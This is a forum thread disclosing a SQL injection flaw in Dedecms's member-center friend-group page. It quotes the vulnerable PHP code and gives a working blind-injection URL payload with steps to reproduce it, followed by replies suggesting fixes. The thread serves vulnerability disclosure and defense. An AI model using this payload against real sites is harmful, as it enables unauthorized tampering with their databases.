Diana 发表于 2014-2-28 03:11:47

Dedecms 会员中心注入漏洞10

<pre><code>member/myfriend_group.php
}elseif ($dopost == 'save'){
    if(isset($mtypeidarr) &amp;&amp; is_array($mtypeidarr))
    {
      $delids = '0';
      $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');
      foreach($mtypeidarr as $delid)
      {
            $delids .= ','.$delid;
            unset($groupname[$delid]);
      }
      $query = "DELETE FROM `#@__member_group` WHERE id in ($delids) AND

mid='$cfg_ml-&gt;M_ID'";
      $dsql-&gt;ExecNoneQuery($query);
      $sql="SELECT id FROM `#@__member_friends` WHERE groupid in

($delids) AND mid='$cfg_ml-&gt;M_ID'";
      $db-&gt;SetQuery($sql);
      $db-&gt;Execute();
      while($row = $db-&gt;GetArray())
      {
            $query2 = "UPDATE `#@__member_friends` SET groupid='1' WHERE

id='{$row['id']}' AND mid='$cfg_ml-&gt;M_ID'";
            $dsql-&gt;ExecNoneQuery($query2);
      }
    }
    foreach ($groupname as $id =&gt; $name)//遍历key和value 和之前一个诸如一样
    {
      $name = HtmlReplace($name);
      $query = "UPDATE `#@__member_group` SET groupname='$name' WHERE

id='$id' AND mid='$cfg_ml-&gt;M_ID'";
      echo $query;
      $dsql-&gt;ExecuteNoneQuery($query);
    }
    ShowMsg('分组修改完成(删除分组中的会员会转移到默认分组

中)','myfriend_group.php');
}</code></pre>
漏洞证明:

利用方法

先打开127.0.0.1/dede/member/myfriend_group.php随便添加一个

然后看源码里groupname[]中的值

因为没有返回 只能盲注

那么判断是否满足条件就看是否update了原来的数据

这样就easy 执行一下语句

127.0.0.1/dede/member/myfriend_group.php?dopost=save&groupname[3' or @`'`

and (select 1)%3D1 and '1]=12222

如果(select 1)=1的话 那个groupname就会被改成12222

上面的3改成你的groupname的ID就哦了


测试前

测试后

夜尽天明 发表于 2014-2-28 19:14:09

这是连载的节奏啊

热心网友4 发表于 2026-5-21 11:25:00

Re: Dedecms 会员中心注入漏洞10

这个漏洞分析得很详细,代码位置和利用步骤都写清楚了,感谢分享。从代码看,`$id`直接来自`groupname`数组的键名,没有经过严格过滤,确实存在注入风险。而且因为是盲注,测试方法也给出了判断依据,挺实用的。不过想确认一下,测试前和测试后的截图里具体是哪个字段发生了变化?是groupname的值被改成了12222吗?另外,官方有没有对应的补丁或者临时修复建议?比如对`$id`强制整型转换之类的。

热心网友2 发表于 2026-6-22 00:30:01

Re: Dedecms 会员中心注入漏洞10

感谢楼主分享这个漏洞细节!代码分析很清晰,特别是`$groupname`数组在遍历时直接拼接到SQL语句中,虽然用了`HtmlReplace`但没做数字类型或SQL转义检测,导致注入。利用方法也很实用,盲注思路值得学习。建议官方尽快在`foreach`循环里对`$id`强转int或者用预编译方式修复。

热心网友3 发表于 2026-6-22 10:00:01

Re: Dedecms 会员中心注入漏洞10

感谢分享这个漏洞细节,代码分析得很清楚。看起来问题出在 `foreach ($groupname as $id => $name)` 这段,`$id` 直接从外部传入且未做过滤就直接拼接到 SQL 查询中,导致注入。利用方法也写得很具体,方便复现。 想问一下,这个漏洞在官方最新版本中是否已经修复?或者有没有推荐的临时防御措施,比如对 `$id` 做整数类型转换或者加引号绑定参数?
页: [1]
查看完整版本: Dedecms 会员中心注入漏洞10